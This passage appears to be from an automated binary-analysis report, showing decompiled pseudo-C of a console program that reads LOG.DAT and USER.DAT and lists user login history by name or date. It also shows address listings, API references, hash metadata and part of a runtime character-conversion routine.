				void* _t436;
				void* _t437;
				void* _t442;
				void* _t443;
				void* _t446;
				void* _t448;
				void* _t450;
				void* _t451;
				void* _t457;

				L0:
				while(1) {
					L0:
					_t457 = __fp0;
					_t421 = __esi;
					_t397 = __edi;
					_t314 = __ebx;
					 *(_t433 - 8) = 1 +  *(_t433 - 8);
					 *(_t433 - 0xc) = 1 +  *(_t433 - 0xc);
					while(1) {
						L69:
						__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
						if(__eflags < 0) {
						}
						L70:
						E00EC12B0(5,  *(_t433 - 0xc) + 0xa);
						_push(1 +  *(_t433 - 8));
						_push("%d.");
						E00EC715C(_t314, _t397, _t421, __eflags);
						 *((char*)( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x10)) + 0x36)) = 0;
						 *((char*)( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x10)) + 0x40)) = 0;
						_t181 = 0x22 +  *(_t433 - 8) * 0x45; // 0x23
						_t270 = E00EC82C0( *((intOrPtr*)(_t433 - 0x10)) + _t181);
						_t448 = _t435 + 0xc;
						__eflags = _t270 - 0xa;
						if(__eflags < 0) {
							_t336 =  *(_t433 - 8) * 0x45;
							__eflags = _t336;
							_t185 = _t336 + 0x22; // 0x23
							_push( *((intOrPtr*)(_t433 - 0x10)) + _t185);
							E00EC16A0(_t397, _t421, _t457);
						}
						L72:
						E00EC12B0(9,  *(_t433 - 0xc) + 0xa);
						_t190 = 0x3b +  *(_t433 - 8) * 0x45; // 0x3c
						_push( *((intOrPtr*)(_t433 - 0x10)) + _t190);
						_t194 = 0x31 +  *(_t433 - 8) * 0x45; // 0x32
						_push( *((intOrPtr*)(_t433 - 0x10)) + _t194);
						_t198 = 0x22 +  *(_t433 - 8) * 0x45; // 0x23
						_push( *((intOrPtr*)(_t433 - 0x10)) + _t198);
						_t202 = 4 +  *(_t433 - 8) * 0x45; // 0x5
						_push( *((intOrPtr*)(_t433 - 0x10)) + _t202);
						_push("%s\t\t%s\t%s\t\t%s");
						E00EC715C(_t314, _t397, _t421, __eflags);
						_t435 = _t448 + 0x14;
						__eflags =  *(_t433 - 8) -  *(_t433 - 0x1c) + 9;
						if( *(_t433 - 8) <  *(_t433 - 0x1c) + 9) {
							L74:
							goto L0;
						} else {
							L73:
							 *(_t433 - 0x1c) =  *(_t433 - 0x1c) + 0xa;
						}
						L75:
						_t322 =  *((char*)(_t433 - 1));
						__eflags =  *((char*)(_t433 - 1)) - 0x53;
						if( *((char*)(_t433 - 1)) == 0x53) {
							L77:
							 *(_t433 - 0x34) = 1;
						} else {
							L76:
							__eflags =  *((char*)(_t433 - 1)) - 0x73;
							if( *((char*)(_t433 - 1)) == 0x73) {
								goto L77;
							}
						}
						L78:
						__eflags =  *((char*)(_t433 - 1)) - 0x20;
						if( *((char*)(_t433 - 1)) == 0x20) {
							_t322 =  *(_t433 - 8);
							__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
							if( *(_t433 - 8) ==  *(_t433 - 0x14)) {
								 *(_t433 - 0x1c) = 0;
							}
						}
						L81:
						__eflags =  *((char*)(_t433 - 1)) - 0x53;
						if(__eflags == 0) {
							L50:
							E00EC20E0(_t322, _t397, _t421, __eflags, _t457);
							__eflags =  *(_t433 - 0x14) - 0xc;
							if(__eflags >= 0) {
								E00EC12B0(0xf, 0x15);
								_push("Press SPACE BAR to view more data");
								E00EC715C(_t314, _t397, _t421, __eflags);
								_t446 = _t435 + 4;
							} else {
								E00EC12B0(8, 0x15);
								_push("Press S to toggle Sorting between ascending or descending order.");
								E00EC715C(_t314, _t397, _t421, __eflags);
								_t446 = _t435 + 4;
							}
							L53:
							E00EC12B0(5, 8);
							_push("SN\t User Name\tDate\t\tStart time\tEnd Time");
							E00EC715C(_t314, _t397, _t421, __eflags);
							_t435 = _t446 + 4;
							E00EC12B0(4, 9);
							 *(_t433 - 8) = 0;
							while(1) {
								L55:
								__eflags =  *(_t433 - 8) - 0x46;
								if(__eflags >= 0) {
									break;
								}
								L56:
								_push(0xc4);
								_push("%c");
								E00EC715C(_t314, _t397, _t421, __eflags);
								_t435 = _t435 + 8;
								L54:
								_t287 = 1 +  *(_t433 - 8);
								__eflags = _t287;
								 *(_t433 - 8) = _t287;
							}
							L57:
							__eflags =  *(_t433 - 0x34);
							if( *(_t433 - 0x34) != 0) {
								L58:
								 *(_t433 - 8) =  *(_t433 - 0x14) - 1;
								while(1) {
									L60:
									__eflags =  *(_t433 - 8);
									if( *(_t433 - 8) < 0) {
										break;
									}
									L61:
									_t421 =  *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x10));
									memcpy(( *(_t433 - 0x14) -  *(_t433 - 8) - 1) * 0x45 +  *((intOrPtr*)(_t433 - 0x24)), _t421, 0x11 << 2);
									_t435 = _t435 + 0xc;
									_t397 = _t421 + 0x22;
									asm("movsb");
									L59:
									_t371 =  *(_t433 - 8) - 1;
									__eflags = _t371;
									 *(_t433 - 8) = _t371;
								}
								L62:
								 *(_t433 - 8) = 0;
								while(1) {
									L64:
									__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
									if( *(_t433 - 8) >=  *(_t433 - 0x14)) {
										goto L66;
									}
									L65:
									_t421 =  *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x24));
									memcpy( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x10)), _t421, 0x11 << 2);
									_t435 = _t435 + 0xc;
									_t397 = _t421 + 0x22;
									asm("movsb");
									L63:
									_t283 = 1 +  *(_t433 - 8);
									__eflags = _t283;
									 *(_t433 - 8) = _t283;
								}
							}
							L66:
							__eflags =  *(_t433 - 0x1c) -  *(_t433 - 0x14);
							if( *(_t433 - 0x1c) >  *(_t433 - 0x14)) {
								 *(_t433 - 0x1c) = 0;
							}
							L68:
							 *(_t433 - 8) =  *(_t433 - 0x1c);
							 *(_t433 - 0xc) = 0;
							L69:
							__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
							if(__eflags < 0) {
							}
							goto L75;
						}
						L82:
						_t249 =  *((char*)(_t433 - 1));
						__eflags = _t249 - 0x73;
						if(__eflags == 0) {
							goto L50;
						}
						L83:
						_t322 =  *((char*)(_t433 - 1));
						__eflags =  *((char*)(_t433 - 1)) - 0x20;
						if(__eflags == 0) {
							goto L50;
						}
						L84:
						while(1) {
							L86:
							__eflags = 1;
							if(1 == 0) {
								break;
							}
							L1:
							 *(_t433 - 8) = 0;
							 *(_t433 - 0x28) = 0;
							 *(_t433 - 0x1c) = 0;
							 *(_t433 - 0x34) = 0;
							_t218 = E00EC6EF1("LOG.DAT", "r");
							_t436 = _t435 + 8;
							 *0xee2f20 = _t218;
							while(1) {
								L2:
								_push( *((intOrPtr*)(_t433 - 0x18)) + 0x3b +  *(_t433 - 8) * 0x45);
								_push( *((intOrPtr*)(_t433 - 0x18)) + 0x31 +  *(_t433 - 8) * 0x45);
								_push( *((intOrPtr*)(_t433 - 0x18)) + 0x22 +  *(_t433 - 8) * 0x45);
								_t320 =  *0xee2f20; // 0x0
								_t228 = E00EC7021(_t320, "%s %s %s %s\n",  *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x18)));
								_t437 = _t436 + 0x18;
								if(_t228 == 0xffffffff) {
									break;
								}
								L3:
								_t307 = E00EC6EF1("USER.DAT", "r");
								_t450 = _t437 + 8;
								 *0xee2f28 = _t307;
								while(1) {
									L4:
									_push(_t433 - 0x78);
									_push(_t433 - 0x58);
									_t394 =  *0xee2f28; // 0x0
									_t309 = E00EC7021(_t394, "%s %s %s\n", _t433 - 0x38);
									_t451 = _t450 + 0x14;
									if(_t309 == 0xffffffff) {
										break;
									}
									L5:
									_t313 = E00EC8230( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x18)), _t433 - 0x38);
									_t450 = _t451 + 8;
									if(_t313 == 0) {
										 *(_t433 - 8) = 1 +  *(_t433 - 8);
									}
								}
								L8:
								_t310 =  *0xee2f28; // 0x0
								_push(_t310);
								E00EC6DB6(_t314, _t397, _t421, __eflags);
								_t436 = _t451 + 4;
							}
							L9:
							 *(_t433 - 0x30) =  *(_t433 - 8);
							_t364 =  *0xee2f20; // 0x0
							_push(_t364);
							E00EC6DB6(_t314, _t397, _t421, __eflags);
							E00EC20E0( *(_t433 - 8), _t397, _t421, __eflags, _t457);
							E00EC12B0(0x1e, 8);
							_push("1. View by USER NAME");
							E00EC715C(_t314, _t397, _t421, __eflags);
							E00EC12B0(0x1e, 0xa);
							_push("2. View by DATE");
							E00EC715C(_t314, _t397, _t421, __eflags);
							E00EC12B0(0x1e, 0xc);
							_push("3. View ALL User history");
							E00EC715C(_t314, _t397, _t421, __eflags);
							E00EC12B0(0x1e, 0xe);
							_push("4. Return to main menu");
							E00EC715C(_t314, _t397, _t421, __eflags);
							_t442 = _t437 + 0x14;
							E00EC12B0(1, 0xf);
							 *(_t433 - 8) = 0;
							while(1) {
								L11:
								__eflags =  *(_t433 - 8) - 0x4e;
								if(__eflags >= 0) {
									break;
								}
								L12:
								_push("_");
								E00EC715C(_t314, _t397, _t421, __eflags);
								_t442 = _t442 + 4;
								_t306 = 1 +  *(_t433 - 8);
								__eflags = _t306;
								 *(_t433 - 8) = _t306;
							}
							L13:
							E00EC12B0(0x17, 0x11);
							_push(" Press a number between the range [1 -4]  ");
							E00EC715C(_t314, _t397, _t421, __eflags);
							_t443 = _t442 + 4;
							 *(_t433 - 0xc) = 0;
							_t322 =  *(_t433 - 0xc);
							 *((char*)(_t433 - 2)) =  *(_t433 - 0xc);
							E00EC20E0( *(_t433 - 0xc), _t397, _t421, __eflags, _t457);
							 *(_t433 - 0x20) =  *((char*)(_t433 - 2));
							 *(_t433 - 0x20) =  *(_t433 - 0x20) - 1;
							__eflags =  *(_t433 - 0x20) - 3;
							if(__eflags > 0) {
								L38:
								E00EC20E0(_t322, _t397, _t421, __eflags, _t457);
								E00EC12B0(0xa, 0xa);
								_push("Your input is out of range! Enter a choice between 1 to 4!");
								E00EC715C(_t314, _t397, _t421, __eflags);
								E00EC12B0(0xf, 0xc);
								_push("Press ENTER to return to main menu...");
								_t249 = E00EC715C(_t314, _t397, _t421, __eflags);
								_t435 = _t443 + 8;
								 *(_t433 - 0x28) = 1;
								goto L39;
							} else {
								L14:
								switch( *((intOrPtr*)( *(_t433 - 0x20) * 4 +  &M00EC35F8))) {
									case 0:
										L15:
										E00EC12B0(0x1e, 0xa);
										_push("Enter user name : ");
										E00EC715C(_t314, _t397, _t421, __eflags);
										_t365 = _t433 - 0x58;
										_t249 = E00EC738B(" %s", _t433 - 0x58);
										_t435 = _t443 + 0xc;
										 *(_t433 - 8) = 0;
										while(1) {
											L17:
											__eflags =  *(_t433 - 8) -  *(_t433 - 0x30);
											if( *(_t433 - 8) >=  *(_t433 - 0x30)) {
												break;
											}
											L18:
											_t365 =  *((intOrPtr*)(_t433 - 0x18)) + 4 +  *(_t433 - 8) * 0x45;
											_t299 = E00EC8230( *((intOrPtr*)(_t433 - 0x18)) + 4 +  *(_t433 - 8) * 0x45, _t433 - 0x58);
											_t435 = _t435 + 8;
											__eflags = _t299;
											if(_t299 == 0) {
												_t421 =  *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x18));
												memcpy( *(_t433 - 0xc) * 0x45 +  *((intOrPtr*)(_t433 - 0x10)), _t421, 0x11 << 2);
												_t435 = _t435 + 0xc;
												_t397 = _t421 + 0x22;
												asm("movsb");
												_t303 = 1 +  *(_t433 - 0xc);
												__eflags = _t303;
												 *(_t433 - 0xc) = _t303;
											}
											_t249 = 1 +  *(_t433 - 8);
											__eflags = _t249;
											 *(_t433 - 8) = _t249;
										}
										L21:
										_t322 =  *(_t433 - 0xc);
										 *(_t433 - 0x14) =  *(_t433 - 0xc);
										goto L39;
									case 1:
										do {
											L22:
											__eax = E00EC12B0(0x1e, 0xa);
											_push("Enter Date (dd/mm/yyyy) : ");
											__eax = E00EC715C(__ebx, __edi, __esi, __eflags);
											__esp = __esp + 4;
											__edx = __ebp - 0x58;
											E00EC738B(" %s", __ebp - 0x58) = __ebp - 0x58;
											__eflags = E00EC1E60(__eflags, __ebp - 0x58);
											if(__eflags == 0) {
												__eax = E00EC1500(__edi, __esi, 0x1e, 0xa, 0x46, 0xa);
												_push(0xedf8b0);
												__eax = E00EC715C(__ebx, __edi, __esi, __eflags);
												__esp = __esp + 4;
											}
											__ecx = __ebp - 0x58;
											__eflags = E00EC1E60(__eflags, __ebp - 0x58);
										} while (__eflags == 0);
										__edx = __ebp - 0x58;
										_push(__ebp - 0x58);
										__eax = E00EC15D0();
										 *(__ebp - 8) = 0;
										 *(__ebp - 0xc) = 0;
										while(1) {
											L27:
											__ecx =  *(__ebp - 8);
											__eflags =  *(__ebp - 8) -  *((intOrPtr*)(__ebp - 0x30));
											if( *(__ebp - 8) >=  *((intOrPtr*)(__ebp - 0x30))) {
												break;
											}
											L28:
											__edx = __ebp - 0x58;
											 *(__ebp - 8) =  *(__ebp - 8) * 0x45;
											__ecx =  *(__ebp - 0x18);
											__edx =  *(__ebp - 0x18) + 0x22 +  *(__ebp - 8) * 0x45;
											__eax = E00EC8230( *(__ebp - 0x18) + 0x22 +  *(__ebp - 8) * 0x45, __ebp - 0x58);
											__eflags = __eax;
											if(__eax == 0) {
												 *(__ebp - 8) =  *(__ebp - 8) * 0x45;
												__esi =  *(__ebp - 8) * 0x45 +  *(__ebp - 0x18);
												 *(__ebp - 0xc) =  *(__ebp - 0xc) * 0x45;
												__edi =  *(__ebp - 0xc) * 0x45 +  *((intOrPtr*)(__ebp - 0x10));
												__ecx = 0x11;
												__eax = memcpy( *(__ebp - 0xc) * 0x45 +  *((intOrPtr*)(__ebp - 0x10)), __esi, 0x11 << 2);
												__edi = __esi + __ecx;
												__edi = __esi + __ecx + __ecx;
												__ecx = 0;
												asm("movsb");
												__eax =  *(__ebp - 0xc);
												__eax = 1 +  *(__ebp - 0xc);
												__eflags = __eax;
												 *(__ebp - 0xc) = __eax;
											}
											__eax =  *(__ebp - 8);
											__eax = 1 +  *(__ebp - 8);
											__eflags = __eax;
											 *(__ebp - 8) = __eax;
										}
										L31:
										__ecx =  *(__ebp - 0xc);
										 *(__ebp - 0x14) = __ecx;
										goto L39;
									case 2:
										L32:
										 *(__ebp - 8) = 0;
										while(1) {
											L34:
											__eax =  *(__ebp - 8);
											__eflags =  *(__ebp - 8) -  *((intOrPtr*)(__ebp - 0x30));
											if( *(__ebp - 8) >=  *((intOrPtr*)(__ebp - 0x30))) {
												break;
											}
											L35:
											 *(__ebp - 8) =  *(__ebp - 8) * 0x45;
											__esi =  *(__ebp - 8) * 0x45 +  *(__ebp - 0x18);
											 *(__ebp - 0xc) =  *(__ebp - 0xc) * 0x45;
											__edi =  *(__ebp - 0xc) * 0x45 +  *((intOrPtr*)(__ebp - 0x10));
											__ecx = 0x11;
											__eax = memcpy( *(__ebp - 0xc) * 0x45 +  *((intOrPtr*)(__ebp - 0x10)), __esi, 0x11 << 2);
											__edi = __esi + __ecx;
											__edi = __esi + __ecx + __ecx;
											__ecx = 0;
											asm("movsb");
											__ecx =  *(__ebp - 0xc);
											__ecx = 1 +  *(__ebp - 0xc);
											 *(__ebp - 0xc) = __ecx;
											__edx =  *(__ebp - 8);
											__edx = 1 +  *(__ebp - 8);
											__eflags = __edx;
											 *(__ebp - 8) = __edx;
										}
										L36:
										__edx =  *(__ebp - 0xc);
										 *(__ebp - 0x14) =  *(__ebp - 0xc);
										L39:
										__eflags =  *(_t433 - 0x14);
										if(__eflags == 0) {
											E00EC20E0(_t322, _t397, _t421, __eflags, _t457);
											E00EC12B0(0x1b, 0xc);
											_push(0xedf918);
											E00EC715C(_t314, _t397, _t421, __eflags);
											_t435 = _t435 + 4;
											_t249 = E00EC2E80(_t314, _t365, __eflags, _t457);
										}
										__eflags =  *(_t433 - 0x28);
										if( *(_t433 - 0x28) != 0) {
											L85:
											 *(_t433 - 0x28) = 0;
										} else {
											L42:
											 *(_t433 - 8) = 0;
											 *(_t433 - 0xc) =  *(_t433 - 0x14) - 1;
											while(1) {
												L44:
												__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
												if( *(_t433 - 8) >=  *(_t433 - 0x14)) {
													break;
												}
												L45:
												_t421 =  *(_t433 - 0xc) * 0x45 +  *((intOrPtr*)(_t433 - 0x10));
												memcpy( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x24)), _t421, 0x11 << 2);
												_t435 = _t435 + 0xc;
												_t397 = _t421 + 0x22;
												asm("movsb");
												_t322 = 1 +  *(_t433 - 8);
												 *(_t433 - 8) = 1 +  *(_t433 - 8);
												_t391 =  *(_t433 - 0xc) - 1;
												__eflags = _t391;
												 *(_t433 - 0xc) = _t391;
											}
											L46:
											 *(_t433 - 8) = 0;
											while(1) {
												L48:
												__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
												if(__eflags >= 0) {
													goto L50;
												}
												L49:
												_t421 =  *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x24));
												memcpy( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x10)), _t421, 0x11 << 2);
												_t435 = _t435 + 0xc;
												_t397 = _t421 + 0x22;
												asm("movsb");
												L47:
												_t322 = 1 +  *(_t433 - 8);
												__eflags = _t322;
												 *(_t433 - 8) = _t322;
											}
											goto L50;
										}
										goto L86;
									case 3:
										L37:
										goto L87;
								}
							}
							break;
						}
						L87:
						return _t249;
						L88:
					}
				}
			}

0x00ec347b
0x00ec347b
0x00ec347b
0x00ec347b
0x00ec347b
0x00ec347b
0x00ec347b
0x00ec3481
0x00ec348a
0x00ec348d
0x00ec348d
0x00ec3490
0x00ec3493
0x00ec3493
0x00ec3499
0x00ec34a2
0x00ec34ad
0x00ec34ae
0x00ec34b3
0x00ec34cc
0x00ec34e2
0x00ec34f0
0x00ec34f5
0x00ec34fa
0x00ec34fd
0x00ec3500
0x00ec3505
0x00ec3505
0x00ec350b
0x00ec350f
0x00ec3510
0x00ec3510
0x00ec3515
0x00ec351e
0x00ec352c
0x00ec3530
0x00ec353a
0x00ec353e
0x00ec3548
0x00ec354c
0x00ec3556
0x00ec355a
0x00ec355b
0x00ec3560
0x00ec3565
0x00ec356e
0x00ec3571
0x00ec357e
0x00000000
0x00ec3573
0x00ec3573
0x00ec3579
0x00ec3579
0x00ec3583
0x00ec3583
0x00ec3587
0x00ec358a
0x00ec3595
0x00ec3595
0x00ec358c
0x00ec358c
0x00ec3590
0x00ec3593
0x00000000
0x00000000
0x00ec3593
0x00ec359c
0x00ec35a0
0x00ec35a3
0x00ec35a5
0x00ec35a8
0x00ec35ab
0x00ec35ad
0x00ec35ad
0x00ec35ab
0x00ec35b4
0x00ec35b8
0x00ec35bb
0x00ec3361
0x00ec3361
0x00ec3366
0x00ec336a
0x00ec3388
0x00ec338d
0x00ec3392
0x00ec3397
0x00ec336c
0x00ec3370
0x00ec3375
0x00ec337a
0x00ec337f
0x00ec337f
0x00ec339a
0x00ec339e
0x00ec33a3
0x00ec33a8
0x00ec33ad
0x00ec33b4
0x00ec33b9
0x00ec33cb
0x00ec33cb
0x00ec33cb
0x00ec33cf
0x00000000
0x00000000
0x00ec33d1
0x00ec33d1
0x00ec33d6
0x00ec33db
0x00ec33e0
0x00ec33c2
0x00ec33c5
0x00ec33c5
0x00ec33c8
0x00ec33c8
0x00ec33e5
0x00ec33e5
0x00ec33e9
0x00ec33eb
0x00ec33f1
0x00ec33ff
0x00ec33ff
0x00ec33ff
0x00ec3403
0x00000000
0x00000000
0x00ec3405
0x00ec340b
0x00ec3422
0x00ec3422
0x00ec3422
0x00ec3424
0x00ec33f6
0x00ec33f9
0x00ec33f9
0x00ec33fc
0x00ec33fc
0x00ec3427
0x00ec3427
0x00ec3439
0x00ec3439
0x00ec343c
0x00ec343f
0x00000000
0x00000000
0x00ec3441
0x00ec3447
0x00ec3458
0x00ec3458
0x00ec3458
0x00ec345a
0x00ec3430
0x00ec3433
0x00ec3433
0x00ec3436
0x00ec3436
0x00ec3439
0x00ec345d
0x00ec3460
0x00ec3463
0x00ec3465
0x00ec3465
0x00ec346c
0x00ec346f
0x00ec3472
0x00ec348d
0x00ec3490
0x00ec3493
0x00ec3493
0x00000000
0x00ec3493
0x00ec35c1
0x00ec35c1
0x00ec35c5
0x00ec35c8
0x00000000
0x00000000
0x00ec35ce
0x00ec35ce
0x00ec35d2
0x00ec35d5
0x00000000
0x00000000
0x00ec35db
0x00ec35e4
0x00ec35e4
0x00ec35e9
0x00ec35eb
0x00000000
0x00000000
0x00ec2ee9
0x00ec2ee9
0x00ec2ef0
0x00ec2ef7
0x00ec2efe
0x00ec2f0f
0x00ec2f14
0x00ec2f17
0x00ec2f1c
0x00ec2f1c
0x00ec2f29
0x00ec2f37
0x00ec2f45
0x00ec2f55
0x00ec2f5c
0x00ec2f61
0x00ec2f67
0x00000000
0x00000000
0x00ec2f69
0x00ec2f73
0x00ec2f78
0x00ec2f7b
0x00ec2f80
0x00ec2f80
0x00ec2f83
0x00ec2f87
0x00ec2f91
0x00ec2f98
0x00ec2f9d
0x00ec2fa3
0x00000000
0x00000000
0x00ec2fa5
0x00ec2fb3
0x00ec2fb8
0x00ec2fbd
0x00ec2fc5
0x00ec2fc5
0x00ec2fc8
0x00ec2fca
0x00ec2fca
0x00ec2fcf
0x00ec2fd0
0x00ec2fd5
0x00ec2fd5
0x00ec2fdd
0x00ec2fe0
0x00ec2fe3
0x00ec2fe9
0x00ec2fea
0x00ec2ff2
0x00ec2ffb
0x00ec3000
0x00ec3005
0x00ec3011
0x00ec3016
0x00ec301b
0x00ec3027
0x00ec302c
0x00ec3031
0x00ec303d
0x00ec3042
0x00ec3047
0x00ec304c
0x00ec3053
0x00ec3058
0x00ec306a
0x00ec306a
0x00ec306a
0x00ec306e
0x00000000
0x00000000
0x00ec3070
0x00ec3070
0x00ec3075
0x00ec307a
0x00ec3064
0x00ec3064
0x00ec3067
0x00ec3067
0x00ec307f
0x00ec3083
0x00ec3088
0x00ec308d
0x00ec3092
0x00ec3095
0x00ec309c
0x00ec309f
0x00ec30a2
0x00ec30ab
0x00ec30b4
0x00ec30b7
0x00ec30bb
0x00ec327b
0x00ec327b
0x00ec3284
0x00ec3289
0x00ec328e
0x00ec329a
0x00ec329f
0x00ec32a4
0x00ec32a9
0x00ec32ac
0x00000000
0x00ec30c1
0x00ec30c1
0x00ec30c4
0x00000000
0x00ec30cb
0x00ec30cf
0x00ec30d4
0x00ec30d9
0x00ec30e1
0x00ec30ea
0x00ec30ef
0x00ec30f2
0x00ec3104
0x00ec3104
0x00ec3107
0x00ec310a
0x00000000
0x00000000
0x00ec310c
0x00ec3119
0x00ec311e
0x00ec3123
0x00ec3126
0x00ec3128
0x00ec3130
0x00ec3141
0x00ec3141
0x00ec3141
0x00ec3143
0x00ec3147
0x00ec3147
0x00ec314a
0x00ec314a
0x00ec30fe
0x00ec30fe
0x00ec3101
0x00ec3101
0x00ec314f
0x00ec314f
0x00ec3152
0x00000000
0x00000000
0x00ec315a
0x00ec315a
0x00ec315e
0x00ec3163
0x00ec3168
0x00ec316d
0x00ec3170
0x00ec3181
0x00ec318a
0x00ec318c
0x00ec3196
0x00ec319b
0x00ec31a0
0x00ec31a5
0x00ec31a5
0x00ec31a8
0x00ec31b1
0x00ec31b1
0x00ec31b5
0x00ec31b8
0x00ec31b9
0x00ec31be
0x00ec31c5
0x00ec31d7
0x00ec31d7
0x00ec31d7
0x00ec31da
0x00ec31dd
0x00000000
0x00000000
0x00ec31df
0x00ec31df
0x00ec31e6
0x00ec31e9
0x00ec31ec
0x00ec31f1
0x00ec31f9
0x00ec31fb
0x00ec3200
0x00ec3203
0x00ec3209
0x00ec320c
0x00ec320f
0x00ec3214
0x00ec3214
0x00ec3214
0x00ec3214
0x00ec3216
0x00ec3217
0x00ec321a
0x00ec321a
0x00ec321d
0x00ec321d
0x00ec31ce
0x00ec31d1
0x00ec31d1
0x00ec31d4
0x00ec31d4
0x00ec3222
0x00ec3222
0x00ec3225
0x00000000
0x00000000
0x00ec322d
0x00ec322d
0x00ec323f
0x00ec323f
0x00ec323f
0x00ec3242
0x00ec3245
0x00000000
0x00000000
0x00ec3247
0x00ec324a
0x00ec324d
0x00ec3253
0x00ec3256
0x00ec3259
0x00ec325e
0x00ec325e
0x00ec325e
0x00ec325e
0x00ec3260
0x00ec3261
0x00ec3264
0x00ec3267
0x00ec3236
0x00ec3239
0x00ec3239
0x00ec323c
0x00ec323c
0x00ec326c
0x00ec326c
0x00ec326f
0x00ec32b3
0x00ec32b3
0x00ec32b7
0x00ec32b9
0x00ec32c2
0x00ec32c7
0x00ec32cc
0x00ec32d1
0x00ec32d4
0x00ec32d4
0x00ec32d9
0x00ec32dd
0x00ec35dd
0x00ec35dd
0x00ec32e3
0x00ec32e3
0x00ec32e3
0x00ec32f0
0x00ec3307
0x00ec3307
0x00ec330a
0x00ec330d
0x00000000
0x00000000
0x00ec330f
0x00ec3315
0x00ec3326
0x00ec3326
0x00ec3326
0x00ec3328
0x00ec32f8
0x00ec32fb
0x00ec3301
0x00ec3301
0x00ec3304
0x00ec3304
0x00ec332b
0x00ec332b
0x00ec333d
0x00ec333d
0x00ec3340
0x00ec3343
0x00000000
0x00000000
0x00ec3345
0x00ec334b
0x00ec335c
0x00ec335c
0x00ec335c
0x00ec335e
0x00ec3334
0x00ec3337
0x00ec3337
0x00ec333a
0x00ec333a
0x00000000
0x00ec333d
0x00000000
0x00000000
0x00ec3274
0x00000000
0x00000000
0x00ec30c4
0x00000000
0x00ec30bb
0x00ec35f1
0x00ec35f6
0x00000000
0x00ec35f6
0x00ec348d

APIs

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC34B3
_wprintf.LIBCMT ref: 00EC3560

Strings

%s%s%s%s, xrefs: 00EC355B
%d., xrefs: 00EC34AE

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$ConsoleCursorHandlePosition
String ID: %d.$%s%s%s%s
API String ID: 3459578117-4028964860
Opcode ID: 26626cad2c60460d6dbbf7939bd7250ed9c6924fdc21eecbb3012098c46590a6
Instruction ID: 3b26b71be53aa973af3496c646ddbd5bb556f85bfd7531db5ea0c640d26090ee
Opcode Fuzzy Hash: 26626cad2c60460d6dbbf7939bd7250ed9c6924fdc21eecbb3012098c46590a6
Instruction Fuzzy Hash: 94418171E0404A6FCF1CCB94C6D1FBEBBB6EB91308F15919DD001BB246DA329A46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00ED1673, Relevance: 6.1, APIs: 4, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00ED1673(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				signed int _v20;
				void* __edi;
				signed int _t35;
				int _t38;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				void* _t57;
				signed int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					_push(_t57);
					E00EC7857( &_v20, _t57, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E00ED124B( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t59 = 1;
							_t28 = _v20 + 4; // 0x20432f41
							__eflags = MultiByteToWideChar( *_t28, 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							if(__eflags != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E00EC8EFF(__eflags);
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							_t20 = _t59 + 0x74; // 0x3a202020
							__eflags = _t50 -  *_t20;
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(__eflags == 0) {
								goto L20;
							}
							L18:
							_t22 = _t59 + 0x74; // 0x3a202020
							_t59 =  *_t22;
							goto L21;
						}
						_t12 = _t59 + 0x74; // 0x3a202020
						__eflags = _t50 -  *_t12;
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t17 = _t59 + 0x74; // 0x3a202020
						_t18 = _t59 + 4; // 0x20432f41
